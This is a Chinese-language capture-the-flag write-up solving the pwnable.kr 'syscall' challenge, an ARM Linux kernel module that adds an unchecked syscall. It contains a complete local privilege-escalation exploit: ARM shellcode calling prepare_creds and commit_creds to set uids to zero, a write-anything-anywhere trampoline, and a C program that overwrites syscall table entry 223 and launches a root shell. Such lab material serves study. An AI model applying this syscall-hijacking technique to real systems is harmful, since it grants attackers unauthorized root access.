Writeup-Pwnable: syscall

// adding a new system call : sys_upper

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <asm/unistd.h>
#include <asm/page.h>
#include <linux/syscalls.h>

#define SYS_CALL_TABLE		0x8000e348		// manually configure this address!!
#define NR_SYS_UNUSED		223

//Pointers to re-mapped writable pages
unsigned int** sct;

asmlinkage long sys_upper(char *in, char* out){
	int len = strlen(in);
	int i;
	for(i=0; i<len; i++){
		if(in[i]>=0x61 && in[i]<=0x7a){
			out[i] = in[i] - 0x20;
		}
		else{
			out[i] = in[i];
		}
	}
	return 0;
}

static int __init initmodule(void ){
	sct = (unsigned int**)SYS_CALL_TABLE;
	sct[NR_SYS_UNUSED] = sys_upper;
	printk("sys_upper(number : 223) is added\n");
	return 0;
}

static void __exit exitmodule(void ){
	return;
}

module_init( initmodule );
module_exit( exitmodule );

这题就是提供了一个可以write-anything-anywhere的系统调用(也不算anything,有点限制),系统调用的地址存在0x8000e348+223 = 0x8000e6c4, flag在/root/flag.

按理说应该不难,但是我做了很久。后来想了一下,主要是内联汇编不熟(没有写好 clobbers 导致各种崩)。再就是没有深入理解 Linux 的权限控制机制,一开始想当然的觉得 kernel space 就肯定有 root 权限,后来发现就算用了系统调用,跑到奇怪的地址上执行,uid 还是这个进程的 uid1. 所以尝试的 open-read-write, chown()各种都已失败告终,权限不够。直接在 kernel space execve()的我也是想多了。

其实思路还是挺简单的,首先修改 223 号系统调用的内容,然后调用这个修改过的 223 号系统调用,在 kernel space 把 uid 改掉,之后在 user space execve()就好了。

在现在版本的 Linux 内核修改 uid,需要通过prepare_creds()commit_creds()两步2。这两个函数的地址存在/proc/kallsyms:

$ cat /proc/kallsyms | grep 'prepare_creds\|commit_creds'
8003f44c T prepare_creds
8003f56c T commit_creds
...

我参考 @acama 的版本3写了一个( @acama 的版本prepare_creds()之后直接就commit_creds(), 这估计只在老版本可以).prepare_creds()返回的结构体定义可以看参考4.

@ prepare_creds and commit_creds
.section .text
.global _start
_start:
push {lr}
mov r0, #0
ldr r3, =0x8003f44c @ prepare_creds()
blx r3
push {r0}
sub r1, r1, r1
add r0, #4
str r1, [r0], #4 @ set uid, euid, gid, etc
str r1, [r0], #4
str r1, [r0], #4
str r1, [r0], #4
str r1, [r0], #4
str r1, [r0], #4
str r1, [r0], #4
str r1, [r0], #4
pop {r0}
ldr r3, =0x8003f56c @ commit_creds(r0)
blx r3
pop {lr}
bx lr
view raw cred.s hosted with ❤ by GitHub

这个生成的指令是不能用原先的 223 号系统调用直接写进内存的,所以我准备了一个真正的write-anything-anywhere的跳板:

@ Write anything anywhere
.section .text
.global _start
_start:
lp:
ldrb r3, [r0], #1
strb r3, [r1], #1
subs r2, r2, #1
bge lp
bx lr
view raw waa.s hosted with ❤ by GitHub

先把 waa 写进内存,然后把 cred 写进内存。至于写到哪里,我随手写了两个地址: 0x83f5cafe, 0x83f6beee.

exp.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char cred[] = "\x04\xe0\x2d\xe5\x00\x00\xa0\xe3\x40\x30\x9f\xe5\x33\xff\x2f\xe1\x04\x00\x2d\xe5\x01\x10\x41\xe0\x04\x00\x80\xe2\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x00\x9d\xe4\x0c\x30\x9f\xe5\x33\xff\x2f\xe1\x04\xe0\x9d\xe4\x1e\xff\x2f\xe1\x4c\xf4\x03\x80\x6c\xf5\x03\x80";
char waa[] = "\x01\x30\xd0\xe4\x01\x30\xc1\xe4\x01\x20\x52\xe2\xfb\xff\xff\xaa\x1e\xff\x2f\xe1";
char addr1[] = "\xfe\xca\xf5\x83";
char addr2[] = "\xee\xbe\xf6\x83";
int ret;
int main()
{
asm volatile (
"mov r0, %1\n"
"mov r1, %2\n"
"mov r7, #223\n"
"svc #0\n"
"mov r0, %3\n"
"mov r1, %4\n"
"mov r7, #223\n"
"svc #0\n"
"mov %0, r0"
: "=r" (ret)
: "r" (waa), "r" (0x83f5cafe),
"r" (addr1), "r" (0x8000e6c4)
: "r0", "r1", "r2", "r3", "lr"
);
printf("return value: %x\n", ret);
asm volatile (
"mov r0, %1\n"
"mov r1, %2\n"
"mov r2, %3\n"
"mov r7, #223\n"
"svc #0\n"
"mov r0, %4\n"
"mov r1, %5\n"
"mov r2, %6\n"
"mov r7, #223\n"
"svc #0\n"
"mov %0, r0"
: "=r" (ret)
: "r" (cred), "r" (0x83f6beee), "r" (89),
"r" (addr2), "r" (0x8000e6c4), "r" (5),
"r" (0)
: "r0", "r1", "r2", "r3", "r5", "lr"
);
printf("return value: %x\n", ret);
asm volatile (
"mov r7, #223\n"
"svc #0\n"
"mov %0, r0"
: "=r" (ret)
:
: "r0", "r1", "r3", "lr"
);
execl("/bin/sh", "sh", NULL);
return 0;
}

  1. What is the relationship between root and kernel? ↩︎

  2. Syscall Hijacking: Simple Rootkit (kernel 2.6.x) ↩︎

  3. arm-evt/local_example/exploit/backdoor.asm ↩︎

  4. Linux/include/linux/cred.h ↩︎